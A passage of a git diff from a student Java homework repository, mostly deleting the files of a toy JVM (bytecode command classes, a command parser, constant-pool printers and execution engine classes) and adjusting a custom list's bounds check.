+        checkBounds(index);
         grow(size++);
         //将原本数组从待插入的index截取，将原本index后的有效值，复制到原本数组index+1之后
         System.arraycopy(elementData, index, elementData, index + 1, size - index);
@@ -67,10 +65,8 @@ public boolean remove(T ele) {
         return true;
     }
 
-    private void checkBounds(int index, boolean isAdd) {
-        if (isAdd && (index < 0 || index > size)) {
-            throw new IndexOutOfBoundsException("index : " + index + ", size : [ 0 - " + size + " ]");
-        } else if (!isAdd && (index < 0 || index >= size))
+    private void checkBounds(int index) {
+        if (index < 0 || index >= size)
             throw new IndexOutOfBoundsException("index : " + index + ", size : [ 0 - " + size + " ]");
     }
 
diff --git a/group17/785396327/3.26/jvm_1/ClassFileLoader.java b/group17/785396327/3.26/jvm_1/ClassFileLoader.java
index 66f209f161..95f68a5a7f 100644
--- a/group17/785396327/3.26/jvm_1/ClassFileLoader.java
+++ b/group17/785396327/3.26/jvm_1/ClassFileLoader.java
@@ -1,8 +1,5 @@
 package jvm_1;
 
-import clz.ClassFile;
-import parse.ClassFilePaser;
-
 import java.io.*;
 import java.util.ArrayList;
 import java.util.List;
@@ -50,10 +47,4 @@ public String getClassPath() {
         }
         return sb.substring(0, sb.length() - 1);
     }
-
-    public ClassFile loadClass(String className) {
-        byte[] bytes = readBinaryCode(className);
-        ClassFilePaser classFilePaser = new ClassFilePaser();
-        return classFilePaser.parse(bytes);
-    }
 }
diff --git a/group17/785396327/3.26/jvm_1/ClassFileloaderTest.java b/group17/785396327/3.26/jvm_1/ClassFileloaderTest.java
index 5a298da661..067cd93c2b 100644
--- a/group17/785396327/3.26/jvm_1/ClassFileloaderTest.java
+++ b/group17/785396327/3.26/jvm_1/ClassFileloaderTest.java
@@ -9,7 +9,7 @@
  * Created by william on 2017/4/5.
  */
 public class ClassFileloaderTest {
-    static String path1 = "G:\\Git\\homework\\coding2017\\group17\\785396327\\3.12\\out\\production\\785396327";
+    static String path1 = "D:\\workspace\\IDEA\\homework\\coding2017\\group17\\785396327\\out\\production\\785396327";
     static String path2 = "C:\temp";
 
 
diff --git a/group17/785396327/4.16/cmd/BiPushCmd.java b/group17/785396327/4.16/cmd/BiPushCmd.java
deleted file mode 100644
index 79da192e67..0000000000
--- a/group17/785396327/4.16/cmd/BiPushCmd.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package cmd;
-
-import clz.ClassFile;
-import constant.ConstantPool;
-import engine.ExecutionResult;
-import engine.FrameResult;
-import engine.StackFrame;
-
-/**
- * Created by william on 2017/4/17.
- */
-public class BiPushCmd extends OneOperandCmd {
-    public BiPushCmd(ClassFile clzFile, String opCode) {
-        super(clzFile, opCode);
-
-    }
-
-    @Override
-    public String toString(ConstantPool pool) {
-
-        return this.getOffset() + ": " + this.getOpCode() + " " + this.getReadableCodeText() + " " + this.getOperand();
-    }
-
-    @Override
-    public void execute(StackFrame frame, FrameResult result) {
-
-    }
-
-}
diff --git a/group17/785396327/4.16/cmd/ByteCodeCommand.java b/group17/785396327/4.16/cmd/ByteCodeCommand.java
deleted file mode 100644
index 66abdd0865..0000000000
--- a/group17/785396327/4.16/cmd/ByteCodeCommand.java
+++ /dev/null
@@ -1,131 +0,0 @@
-package cmd;
-
-import clz.ClassFile;
-import constant.ConstantInfo;
-import constant.ConstantPool;
-import engine.FrameResult;
-import engine.StackFrame;
-
-import java.util.HashMap;
-import java.util.Map;
-
-/**
- * Created by william on 2017/4/17.
- */
-public abstract class ByteCodeCommand {
-    String opCode;
-    ClassFile clzFile;
-    private int offset;
-
-    private static Map<String,String> codeMap = new HashMap<String,String>();
-
-    static{
-        codeMap.put("01", "aconst_null");
-
-        codeMap.put("BB", "new");
-        codeMap.put("37", "lstore");
-        codeMap.put("B7", "invokespecial");
-        codeMap.put("B6", "invokevirtual");
-        codeMap.put("B4", "getfield");
-        codeMap.put("B5", "putfield");
-        codeMap.put("B2", "getstatic");
-
-        codeMap.put("2A", "aload_0");
-        codeMap.put("2B", "aload_1");
-        codeMap.put("2C", "aload_2");
-
-        codeMap.put("10", "bipush");
-        codeMap.put("15", "iload");
-        codeMap.put("1A", "iload_0");
-        codeMap.put("1B", "iload_1");
-        codeMap.put("1C", "iload_2");
-        codeMap.put("1D", "iload_3");
-
-        codeMap.put("25", "fload_3");
-
-        codeMap.put("1E", "lload_0");
-
-        codeMap.put("24", "fload_2");
-        codeMap.put("4C", "astore_1");
-
-        codeMap.put("A2", "if_icmp_ge");
-        codeMap.put("A4", "if_icmple");
-
-        codeMap.put("A7", "goto");
-
-        codeMap.put("B1", "return");
-        codeMap.put("AC", "ireturn");
-        codeMap.put("AE", "freturn");
-
-        codeMap.put("03", "iconst_0");
-        codeMap.put("04", "iconst_1");
-
-        codeMap.put("3C", "istore_1");
-        codeMap.put("3D", "istore_2");
-
-        codeMap.put("59", "dup");
-
-        codeMap.put("60", "iadd");
-        codeMap.put("84", "iinc");
-
-        codeMap.put("12", "ldc");
-    }
-
-
-
-
-
-    protected ByteCodeCommand(ClassFile clzFile, String opCode){
-        this.clzFile = clzFile;
-        this.opCode = opCode;
-    }
-
-    protected ClassFile getClassFile() {
-        return clzFile;
-    }
-
-    public int getOffset() {
-        return offset;
-    }
-
-    public void setOffset(int offset) {
-        this.offset = offset;
-    }
-    protected ConstantInfo getConstantInfo(int index){
-        return this.getClassFile().getConstantPool().getConstantInfo(index);
-    }
-
-    protected ConstantPool getConstantPool(){
-        return this.getClassFile().getConstantPool();
-    }
-
-
-
-    public String getOpCode() {
-        return opCode;
-    }
-
-    public abstract int getLength();
-
-
-
-
-    public String toString(){
-
-        StringBuffer buffer = new StringBuffer();
-        buffer.append(this.opCode);
-
-        return buffer.toString();
-    }
-    public abstract String toString(ConstantPool pool);
-
-    public String getReadableCodeText(){
-        String txt = codeMap.get(opCode);
-        if(txt == null){
-            return opCode;
-        }
-        return txt;
-    }
-
-    public abstract void execute(StackFrame frame, FrameResult result);
-}
diff --git a/group17/785396327/4.16/cmd/CommandParser.java b/group17/785396327/4.16/cmd/CommandParser.java
deleted file mode 100644
index 02d06cd275..0000000000
--- a/group17/785396327/4.16/cmd/CommandParser.java
+++ /dev/null
@@ -1,214 +0,0 @@
-package cmd;
-
-import clz.ClassFile;
-import constant.ClassInfo;
-
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * Created by william on 2017/4/17.
- */
-public class CommandParser {
-    public static final String aconst_null = "01";
-    public static final String new_object = "BB";
-    public static final String lstore = "37";
-    public static final String invokespecial = "B7";
-    public static final String invokevirtual = "B6";
-    public static final String getfield = "B4";
-    public static final String putfield = "B5";
-    public static final String getstatic = "B2";
-    public static final String ldc = "12";
-    public static final String dup = "59";
-    public static final String bipush = "10";
-    public static final String aload_0 = "2A";
-    public static final String aload_1 = "2B";
-    public static final String aload_2 = "2C";
-    public static final String iload = "15";
-    public static final String iload_1 = "1B";
-    public static final String iload_2 = "1C";
-    public static final String iload_3 = "1D";
-    public static final String fload_3 = "25";
-
-    public static final String voidreturn = "B1";
-    public static final String ireturn = "AC";
-    public static final String freturn = "AE";
-
-    public static final String astore_1 = "4C";
-    public static final String if_icmp_ge = "A2";
-    public static final String if_icmple = "A4";
-    public static final String goto_no_condition = "A7";
-    public static final String iconst_0 = "03";
-    public static final String iconst_1 = "04";
-    public static final String istore_1 = "3C";
-    public static final String istore_2 = "3D";
-    public static final String iadd = "60";
-    public static final String iinc = "84";
-
-    public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
-        CommandIterator commandIterator = new CommandIterator(codes);
-        List<ByteCodeCommand> commandList = new ArrayList<ByteCodeCommand>();
-        while (commandIterator.hasNext()) {
-            String command = commandIterator.next2CharAsString().toUpperCase();
-            if (command.equals(aconst_null)) {
-                NoOperandCmd noOperandCmd = new NoOperandCmd(clzFile, command);
-                noOperandCmd.setOffset(noOperandCmd.getLength());
-                commandList.add(noOperandCmd);
-            } else if (command.equals(new_object)) {
-                NewObjectCmd newObjectCmd = new NewObjectCmd(clzFile, command);
-                newObjectCmd.setOprand1(commandIterator.next2CharAsInt());
-                newObjectCmd.setOprand2(commandIterator.next2CharAsInt());
-                newObjectCmd.setOffset(newObjectCmd.getLength());
-                commandList.add(newObjectCmd);
-            } else if (command.equals(lstore)) {
-
-            } else if (command.equals(invokespecial)) {
-                InvokeSpecialCmd invokeSpecialCmd = new InvokeSpecialCmd(clzFile, command);
-                invokeSpecialCmd.setOprand1(commandIterator.next2CharAsInt());
-                invokeSpecialCmd.setOprand2(commandIterator.next2CharAsInt());
-                invokeSpecialCmd.setOffset(invokeSpecialCmd.getLength());
-                commandList.add(invokeSpecialCmd);
-            } else if (command.equals(invokevirtual)) {
-                InvokeVirtualCmd invokeVirtualCmd = new InvokeVirtualCmd(clzFile, command);
-                invokeVirtualCmd.setOprand1(commandIterator.next2CharAsInt());
-                invokeVirtualCmd.setOprand2(commandIterator.next2CharAsInt());
-                invokeVirtualCmd.setOffset(invokeVirtualCmd.getLength());
-                commandList.add(invokeVirtualCmd);
-            } else if (command.equals(getfield)) {
-                GetFieldCmd getFieldCmd = new GetFieldCmd(clzFile, command);
-                getFieldCmd.setOprand1(commandIterator.next2CharAsInt());
-                getFieldCmd.setOprand2(commandIterator.next2CharAsInt());
-                getFieldCmd.setOffset(getFieldCmd.getLength());
-                commandList.add(getFieldCmd);
-            } else if (command.equals(putfield)) {
-                PutFieldCmd putFieldCmd = new PutFieldCmd(clzFile, command);
-                putFieldCmd.setOprand1(commandIterator.next2CharAsInt());
-                putFieldCmd.setOprand2(commandIterator.next2CharAsInt());
-                putFieldCmd.setOffset(putFieldCmd.getLength());
-                commandList.add(putFieldCmd);
-            } else if (command.equals(getstatic)) {
-                GetStaticFieldCmd getStaticFieldCmd = new GetStaticFieldCmd(clzFile, command);
-                getStaticFieldCmd.setOprand1(commandIterator.next2CharAsInt());
-                getStaticFieldCmd.setOprand2(commandIterator.next2CharAsInt());
-                getStaticFieldCmd.setOffset(getStaticFieldCmd.getLength());
-                commandList.add(getStaticFieldCmd);
-            } else if (command.equals(ldc)) {
-                LdcCmd ldcCmd = new LdcCmd(clzFile, command);
-                ldcCmd.setOperand(commandIterator.next2CharAsInt());
-                ldcCmd.setOffset(ldcCmd.getLength());
-                commandList.add(ldcCmd);
-            } else if (command.equals(dup)) {
-                NoOperandCmd noOperandCmd = new NoOperandCmd(clzFile, command);
-                noOperandCmd.setOffset(noOperandCmd.getLength());
-                commandList.add(noOperandCmd);
-            } else if (command.equals(bipush)) {
-                BiPushCmd biPushCmd = new BiPushCmd(clzFile, command);
-                biPushCmd.setOperand(commandIterator.next2CharAsInt());
-                biPushCmd.setOffset(biPushCmd.getLength());
-                commandList.add(biPushCmd);
-            } else if (command.equals(aload_0)) {
-                NoOperandCmd noOperandCmd = new NoOperandCmd(clzFile, command);
-                noOperandCmd.setOffset(noOperandCmd.getLength());
-                commandList.add(noOperandCmd);
-            } else if (command.equals(aload_1)) {
-                NoOperandCmd noOperandCmd = new NoOperandCmd(clzFile, command);
-                noOperandCmd.setOffset(noOperandCmd.getLength());
-                commandList.add(noOperandCmd);
-            } else if (command.equals(aload_2)) {
-                NoOperandCmd noOperandCmd = new NoOperandCmd(clzFile, command);
-                noOperandCmd.setOffset(noOperandCmd.getLength());
-                commandList.add(noOperandCmd);
-            } else if (command.equals(iload)) {
-
-            } else if (command.equals(iload_2)) {
-                NoOperandCmd noOperandCmd = new NoOperandCmd(clzFile, command);
-                noOperandCmd.setOffset(noOperandCmd.getLength());
-                commandList.add(noOperandCmd);
-            } else if (command.equals(iload_1)) {
-                NoOperandCmd noOperandCmd = new NoOperandCmd(clzFile, command);
-                noOperandCmd.setOffset(noOperandCmd.getLength());
-                commandList.add(noOperandCmd);
-            } else if (command.equals(iload_3)) {
-                NoOperandCmd noOperandCmd = new NoOperandCmd(clzFile, command);
-                noOperandCmd.setOffset(noOperandCmd.getLength());
-                commandList.add(noOperandCmd);
-            } else if (command.equals(fload_3)) {
-
-            } else if (command.equals(voidreturn)) {
-                NoOperandCmd noOperandCmd = new NoOperandCmd(clzFile, command);
-                noOperandCmd.setOffset(noOperandCmd.getLength());
-                commandList.add(noOperandCmd);
-            } else if (command.equals(ireturn)) {
-
-            } else if (command.equals(freturn)) {
-
-            } else if (command.equals(astore_1)) {
-                NoOperandCmd noOperandCmd = new NoOperandCmd(clzFile, command);
-                noOperandCmd.setOffset(noOperandCmd.getLength());
-                commandList.add(noOperandCmd);
-            } else if (command.equals(if_icmp_ge)) {
-
-            } else if (command.equals(if_icmple)) {
-
-            } else if (command.equals(goto_no_condition)) {
-
-            } else if (command.equals(iconst_0)) {
-
-            } else if (command.equals(iconst_1)) {
-
-            } else if (command.equals(istore_1)) {
-
-            } else if (command.equals(istore_2)) {
-
-            } else if (command.equals(iadd)) {
-
-            } else if (command.equals(iinc)) {
-
-            } else {
-                throw new RuntimeException("wrong command : " + command);
-            }
-        }
-        calcuateOffset(commandList);
-        return commandList.toArray(new ByteCodeCommand[commandList.size()]);
-    }
-
-    private static void calcuateOffset(List<ByteCodeCommand> cmds) {
-
-        int offset = 0;
-        for (ByteCodeCommand cmd : cmds) {
-            cmd.setOffset(offset);
-            offset += cmd.getLength();
-        }
-
-    }
-
-    private static class CommandIterator {
-        String codes = null;
-        int pos = 0;
-
-        CommandIterator(String codes) {
-            this.codes = codes;
-        }
-
-        public boolean hasNext() {
-            return pos < this.codes.length();
-        }
-
-        /**
-         * 从字符串中截取前两个字符
-         *
-         * @return
-         */
-        public String next2CharAsString() {
-            String result = codes.substring(pos, pos + 2);
-            pos += 2;
-            return result;
-        }
-
-        public int next2CharAsInt() {
-            String s = this.next2CharAsString();
-            return Integer.valueOf(s, 16).intValue();
-        }
-
-    }
-}
diff --git a/group17/785396327/4.16/cmd/GetFieldCmd.java b/group17/785396327/4.16/cmd/GetFieldCmd.java
deleted file mode 100644
index 59425edc38..0000000000
--- a/group17/785396327/4.16/cmd/GetFieldCmd.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package cmd;
-
-import clz.ClassFile;
-import constant.ConstantPool;
-import engine.FrameResult;
-import engine.StackFrame;
-
-/**
- * Created by william on 2017/4/17.
- */
-public class GetFieldCmd extends TwoOperandCmd {
-    public GetFieldCmd(ClassFile clzFile,String opCode) {
-        super(clzFile,opCode);
-    }
-
-    @Override
-    public String toString(ConstantPool pool) {
-
-        return super.getOperandAsField(pool);
-    }
-
-    @Override
-    public void execute(StackFrame frame, FrameResult result) {
-
-    }
-
-}
diff --git a/group17/785396327/4.16/cmd/GetStaticFieldCmd.java b/group17/785396327/4.16/cmd/GetStaticFieldCmd.java
deleted file mode 100644
index c21e230306..0000000000
--- a/group17/785396327/4.16/cmd/GetStaticFieldCmd.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package cmd;
-
-import clz.ClassFile;
-import constant.ConstantPool;
-import engine.FrameResult;
-import engine.StackFrame;
-
-/**
- * Created by IBM on 2017/4/17.
- */
-public class GetStaticFieldCmd extends TwoOperandCmd {
-    public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
-        super(clzFile,opCode);
-
-    }
-
-    @Override
-    public String toString(ConstantPool pool) {
-
-        return super.getOperandAsField(pool);
-    }
-
-    @Override
-    public void execute(StackFrame frame, FrameResult result) {
-
-    }
-}
diff --git a/group17/785396327/4.16/cmd/InvokeSpecialCmd.java b/group17/785396327/4.16/cmd/InvokeSpecialCmd.java
deleted file mode 100644
index 3dd0c7b70e..0000000000
--- a/group17/785396327/4.16/cmd/InvokeSpecialCmd.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package cmd;
-
-import clz.ClassFile;
-import constant.ConstantPool;
-import engine.FrameResult;
-import engine.StackFrame;
-
-/**
- * Created by IBM on 2017/4/17.
- */
-public class InvokeSpecialCmd extends TwoOperandCmd {
-    public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
-        super(clzFile,opCode);
-
-    }
-
-    @Override
-    public String toString(ConstantPool pool) {
-
-        return super.getOperandAsMethod(pool);
-    }
-
-    @Override
-    public void execute(StackFrame frame, FrameResult result) {
-
-    }
-}
diff --git a/group17/785396327/4.16/cmd/InvokeVirtualCmd.java b/group17/785396327/4.16/cmd/InvokeVirtualCmd.java
deleted file mode 100644
index 254534a78f..0000000000
--- a/group17/785396327/4.16/cmd/InvokeVirtualCmd.java
+++ /dev/null
@@ -1,26 +0,0 @@
-package cmd;
-
-import clz.ClassFile;
-import constant.ConstantPool;
-import engine.FrameResult;
-import engine.StackFrame;
-
-/**
- * Created by IBM on 2017/4/17.
- */
-public class InvokeVirtualCmd extends TwoOperandCmd {
-    public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
-        super(clzFile,opCode);
-    }
-
-    @Override
-    public String toString(ConstantPool pool) {
-
-        return super.getOperandAsMethod(pool);
-    }
-
-    @Override
-    public void execute(StackFrame frame, FrameResult result) {
-
-    }
-}
diff --git a/group17/785396327/4.16/cmd/LdcCmd.java b/group17/785396327/4.16/cmd/LdcCmd.java
deleted file mode 100644
index ce1f34df3c..0000000000
--- a/group17/785396327/4.16/cmd/LdcCmd.java
+++ /dev/null
@@ -1,37 +0,0 @@
-package cmd;
-
-import clz.ClassFile;
-import constant.ConstantInfo;
-import constant.ConstantPool;
-import constant.StringInfo;
-import engine.FrameResult;
-import engine.StackFrame;
-
-/**
- * Created by IBM on 2017/4/17.
- */
-public class LdcCmd extends OneOperandCmd {
-    public LdcCmd(ClassFile clzFile, String opCode) {
-        super(clzFile, opCode);
-    }
-
-    @Override
-    public String toString(ConstantPool pool) {
-
-        ConstantInfo info = (ConstantInfo) pool.getConstantInfo(this.getOperand());
-
-        String value = "TBD";
-        if (info instanceof StringInfo) {
-            StringInfo strInfo = (StringInfo) info;
-            value = strInfo.toString();
-        }
-
-        return this.getOffset() + ":" + this.getOpCode() + " " + this.getReadableCodeText() + " " + value;
-
-    }
-
-    @Override
-    public void execute(StackFrame frame, FrameResult result) {
-
-    }
-}
diff --git a/group17/785396327/4.16/cmd/NewObjectCmd.java b/group17/785396327/4.16/cmd/NewObjectCmd.java
deleted file mode 100644
index d284274f0b..0000000000
--- a/group17/785396327/4.16/cmd/NewObjectCmd.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package cmd;
-
-import clz.ClassFile;
-import constant.ConstantPool;
-import engine.FrameResult;
-import engine.StackFrame;
-
-/**
- * Created by gongxun on 2017/4/17.
- */
-public class NewObjectCmd extends TwoOperandCmd {
-    public NewObjectCmd(ClassFile clzFile, String opCode){
-        super(clzFile,opCode);
-    }
-
-    @Override
-    public String toString(ConstantPool pool) {
-
-        return super.getOperandAsClassInfo(pool);
-    }
-
-    @Override
-    public void execute(StackFrame frame, FrameResult result) {
-
-    }
-
-}
diff --git a/group17/785396327/4.16/cmd/NoOperandCmd.java b/group17/785396327/4.16/cmd/NoOperandCmd.java
deleted file mode 100644
index 828ae2094e..0000000000
--- a/group17/785396327/4.16/cmd/NoOperandCmd.java
+++ /dev/null
@@ -1,30 +0,0 @@
-package cmd;
-
-import clz.ClassFile;
-import constant.ConstantPool;
-import engine.FrameResult;
-import engine.StackFrame;
-
-/**
- * Created by IBM on 2017/4/17.
- */
-public class NoOperandCmd extends ByteCodeCommand {
-    public NoOperandCmd(ClassFile clzFile, String opCode) {
-        super(clzFile, opCode);
-    }
-
-    @Override
-    public String toString(ConstantPool pool) {
-        return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
-    }
-
-    @Override
-    public void execute(StackFrame frame, FrameResult result) {
-
-    }
-
-
-    public  int getLength(){
-        return 1;
-    }
-}
diff --git a/group17/785396327/4.16/cmd/OneOperandCmd.java b/group17/785396327/4.16/cmd/OneOperandCmd.java
deleted file mode 100644
index 4f3dbc9feb..0000000000
--- a/group17/785396327/4.16/cmd/OneOperandCmd.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package cmd;
-
-import clz.ClassFile;
-
-/**
- * Created by IBM on 2017/4/17.
- */
-public abstract class OneOperandCmd extends ByteCodeCommand {
-    private int operand;
-
-    public OneOperandCmd(ClassFile clzFile,String opCode) {
-        super(clzFile, opCode);
-
-    }
-    public  int getOperand() {
-
-        return this.operand;
-    }
-
-    public void setOperand(int oprand1) {
-        this.operand = oprand1;
-
-    }
-    public  int getLength(){
-        return 2;
-    }
-}
diff --git a/group17/785396327/4.16/cmd/PutFieldCmd.java b/group17/785396327/4.16/cmd/PutFieldCmd.java
deleted file mode 100644
index f0994739a0..0000000000
--- a/group17/785396327/4.16/cmd/PutFieldCmd.java
+++ /dev/null
@@ -1,26 +0,0 @@
-package cmd;
-
-import clz.ClassFile;
-import constant.ConstantPool;
-import engine.FrameResult;
-import engine.StackFrame;
-
-/**
- * Created by IBM on 2017/4/17.
- */
-public class PutFieldCmd extends TwoOperandCmd {
-    public PutFieldCmd(ClassFile clzFile, String opCode) {
-        super(clzFile, opCode);
-    }
-
-    @Override
-    public String toString(ConstantPool pool) {
-
-        return super.getOperandAsField(pool);
-    }
-
-    @Override
-    public void execute(StackFrame frame, FrameResult result) {
-
-    }
-}
diff --git a/group17/785396327/4.16/cmd/TwoOperandCmd.java b/group17/785396327/4.16/cmd/TwoOperandCmd.java
deleted file mode 100644
index a12df75e52..0000000000
--- a/group17/785396327/4.16/cmd/TwoOperandCmd.java
+++ /dev/null
@@ -1,65 +0,0 @@
-package cmd;
-
-import clz.ClassFile;
-import constant.*;
-
-/**
- * Created by IBM on 2017/4/17.
- */
-public abstract class TwoOperandCmd extends ByteCodeCommand {
-    int oprand1 = -1;
-    int oprand2 = -1;
-
-    public int getOprand1() {
-        return oprand1;
-    }
-
-    public void setOprand1(int oprand1) {
-        this.oprand1 = oprand1;
-    }
-
-    public void setOprand2(int oprand2) {
-        this.oprand2 = oprand2;
-    }
-
-    public int getOprand2() {
-        return oprand2;
-    }
-
-    public TwoOperandCmd(ClassFile clzFile,String opCode) {
-        super(clzFile, opCode);
-    }
-
-    public int getIndex(){
-        int oprand1 = this.getOprand1();
-        int oprand2 = this.getOprand2();
-        int index = oprand1 << 8 | oprand2;
-        return index;
-    }
-
-    protected String getOperandAsClassInfo(ConstantPool pool){
-        int index = getIndex();
-        String codeTxt = getReadableCodeText();
-        ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
-        return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
-    }
-
-    protected String getOperandAsMethod(ConstantPool pool){
-        int index = getIndex();
-        String codeTxt = getReadableCodeText();
-        ConstantInfo constInfo = this.getConstantInfo(index);
-        MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
-        return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
-    }
-
-    protected String getOperandAsField(ConstantPool pool){
-        int index = getIndex();
-
-        String codeTxt = getReadableCodeText();
-        FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
-        return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
-    }
-    public  int getLength(){
-        return 3;
-    }
-}
diff --git a/group17/785396327/4.16/print/ClassFilePrinter.java b/group17/785396327/4.16/print/ClassFilePrinter.java
deleted file mode 100644
index 7d8c878553..0000000000
--- a/group17/785396327/4.16/print/ClassFilePrinter.java
+++ /dev/null
@@ -1,44 +0,0 @@
-package print;
-
-import clz.ClassFile;
-import jvm_1.ClassFileLoader;
-
-/**
- * Created by gongxun on 2017/4/21.
- */
-public class ClassFilePrinter {
-    ClassFile clzFile = null;
-    public ClassFilePrinter(ClassFile clzFile){
-        this.clzFile = clzFile;
-    }
-
-    public void print(){
-
-        if(clzFile.getAccessFlag().isPublicClass()){
-            System.out.println("Access flag : public  ");
-        }
-        System.out.println("Class Name:"+ clzFile.getClassName());
-
-        System.out.println("Super Class Name:"+ clzFile.getSuperClassName());
-
-        System.out.println("minor version:" + clzFile.getMinorVersion());
-
-        System.out.println("major version:" + clzFile.getMinorVersion());
-
-        ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
-        cnstPoolPrinter.print();
-    }
-
-    public static void main(String[] args){
-        String path = "G:\\Git\\homework\\coding2017\\group17\\785396327\\out\\production\\785396327";
-        ClassFileLoader loader = new ClassFileLoader();
-        loader.addClassPath(path);
-        String className = "jvm_1.EmployeeV1";
-
-        ClassFile clzFile = loader.loadClass(className);
-
-        ClassFilePrinter printer  = new ClassFilePrinter(clzFile);
-
-        printer.print();
-    }
-}
diff --git a/group17/785396327/4.16/print/ConstantPoolPrinter.java b/group17/785396327/4.16/print/ConstantPoolPrinter.java
deleted file mode 100644
index 6c4d4fee4a..0000000000
--- a/group17/785396327/4.16/print/ConstantPoolPrinter.java
+++ /dev/null
@@ -1,114 +0,0 @@
-package print;
-
-import constant.*;
-
-/**
- * Created by gongxun on 2017/4/21.
- */
-public class ConstantPoolPrinter {
-    ConstantPool pool;
-
-    ConstantPoolPrinter(ConstantPool pool) {
-        this.pool = pool;
-    }
-
-    public void print() {
-        System.out.println("Constant Pool:");
-
-        ConstantInfo.Visitor visitor = new ConstantInfo.Visitor() {
-            @Override
-            public void visitClassInfo(ClassInfo info) {
-                //   #7 = Class              #44            //  jvm_1/EmployeeV1
-                StringBuilder sb = new StringBuilder();
-                      sb.append("Class")
-                        .append("\t\t\t")
-                        .append("#" + info.getUtf8Index())
-                        .append("\t\t\t\t")
-                        .append("//\t")
-                        .append(info.getClassName());
-                System.out.println(sb.toString());
-            }
-
-            @Override
-            public void visitFieldRef(FieldRefInfo info) {
-                //  #2 = Fieldref           #7.#37         //  jvm_1/EmployeeV1.name:Ljava/lang/String;
-                StringBuilder sb = new StringBuilder();
-                      sb.append("Fieldref")
-                        .append("\t\t")
-                        .append("#" + info.getClassInfoIndex())
-                        .append(".")
-                        .append("#" + info.getNameAndTypeIndex())
-                        .append("\t\t\t")
-                        .append("//\t")
-                        .append(info.getClassName())
-                        .append(".")
-                        .append(info.getFieldName())
-                        .append(info.getFieldType());
-                System.out.println(sb.toString());
-            }
-
-            @Override
-            public void visitMethodRef(MethodRefInfo info) {
-                //  #1 = Methodref          #11.#36        //  java/lang/Object."<init>":()V
-                StringBuilder sb = new StringBuilder();
-                      sb.append("Methodref")
-                        .append("\t\t")
-                        .append("#" + info.getClassInfoIndex())
-                        .append(".")
-                        .append("#" + info.getNameAndTypeIndex())
-                        .append("\t\t\t")
-                        .append("//\t")
-                        .append(info.getClassName())
-                        .append(".")
-                        .append(info.getMethodName());
-                System.out.println(sb.toString());
-            }
-
-            @Override
-            public void visitNameAndType(NameAndTypeInfo info) {
-                //  #36 = NameAndType        #16:#28        //  "<init>":()V
-                StringBuilder sb = new StringBuilder();
-                      sb.append("NameAndType")
-                        .append("\t\t")
-                        .append("#" + info.getIndex1())
-                        .append(":")
-                        .append("#" + info.getIndex2())
-                        .append("\t\t\t")
-                        .append("//\t")
-                        .append(info.getTypeInfo())
-                        .append(":")
-                        .append(info.getName());
-                System.out.println(sb.toString());
-            }
-
-            @Override
-            public void visitString(StringInfo info) {
-                //  #5 = String             #41            //  Hello , this is class Employee
-                StringBuilder sb = new StringBuilder();
-                      sb.append("String")
-                        .append("\t\t\t")
-                        .append("#" + info.getIndex())
-                        .append("\t\t\t\t")
-                        .append("//\t")
-                        .append(((UTF8Info) info.getConstantInfo(info.getIndex())).getValue());
-                System.out.println(sb.toString());
-            }
-
-            @Override
-            public void visistUTF8(UTF8Info info) {
-                //  #32 = Utf8               [Ljava/lang/String;
-                StringBuilder sb = new StringBuilder();
-                      sb.append("Utf8")
-                        .append("\t\t\t")
-                        .append(info.getValue());
-                System.out.println(sb.toString());
-            }
-        };
-
-        for (int i = 1; i < (Integer) pool.getSize(); i++) {
-            ConstantInfo constantInfo = pool.getConstantInfo(i);
-            System.out.print("#" + i + "\t=\t");
-            constantInfo.accept(visitor);
-        }
-    }
-}
diff --git a/group17/785396327/4.23/engine/ExecutionResult.java b/group17/785396327/4.23/engine/ExecutionResult.java
deleted file mode 100644
index 4dcb84fb62..0000000000
--- a/group17/785396327/4.23/engine/ExecutionResult.java
+++ /dev/null
@@ -1,55 +0,0 @@
-package engine;
-
-import method.Method;
-
-/**
- * Created by gongxun on 2017/4/24.
- */
-public class ExecutionResult {
-    public static final int RUN_NEXT_CMD = 1;
-    public static final int JUMP = 2;
-    public static final int EXIT_CURRENT_FRAME = 3;
-    public static final int PAUSE_AND_RUN_NEW_FRAME = 4;
-
-    private int nextAction = RUN_NEXT_CMD;
-
-    private int nextCmdOffset = 0;
-
-    private Method nextMethod;
-
-    public Method getNextMethod() {
-        return nextMethod;
-    }
-    public void setNextMethod(Method nextMethod) {
-        this.nextMethod = nextMethod;
-    }
-
-
-
-    public void setNextAction(int action){
-        this.nextAction = action;
-    }
-    public boolean isPauseAndRunNewFrame(){
-        return this.nextAction == PAUSE_AND_RUN_NEW_FRAME;
-    }
-    public boolean isExitCurrentFrame(){
-        return this.nextAction == EXIT_CURRENT_FRAME;
-    }
-
-    public boolean isRunNextCmd(){
-        return this.nextAction == RUN_NEXT_CMD;
-    }
-
-    public boolean isJump(){
-        return this.nextAction == JUMP;
-    }
-
-    public int getNextCmdOffset() {
-        return nextCmdOffset;
-    }
-
-    public void setNextCmdOffset(int nextCmdOffset) {
-        this.nextCmdOffset = nextCmdOffset;
-    }
-
-}
diff --git a/group17/785396327/4.23/engine/ExecutorEngine.java b/group17/785396327/4.23/engine/ExecutorEngine.java
deleted file mode 100644
index 729d7c12be..0000000000
--- a/group17/785396327/4.23/engine/ExecutorEngine.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package engine;
-
-import method.Method;
-import stack.Stack;
-
-/**
- * Created by gongxun on 2017/4/24.
- */
-public class ExecutorEngine {
-    private Stack<StackFrame> stack = new Stack<StackFrame>();
-
